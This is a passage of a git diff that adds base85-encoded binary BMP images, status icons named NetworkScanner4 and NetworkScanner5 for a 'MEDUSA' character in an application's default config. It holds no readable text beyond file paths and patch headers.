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 DsCzj7 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner4.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2883594bea91a13dba13bb36173019043a69dee4 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner5.bmp b/resources/default_config/characters/MEDUSA/status/NetworkScanner/NetworkScanner5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..2bd18470c28751c17e89783c485b4b115e7ae04e GIT binary patch literal 18462 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 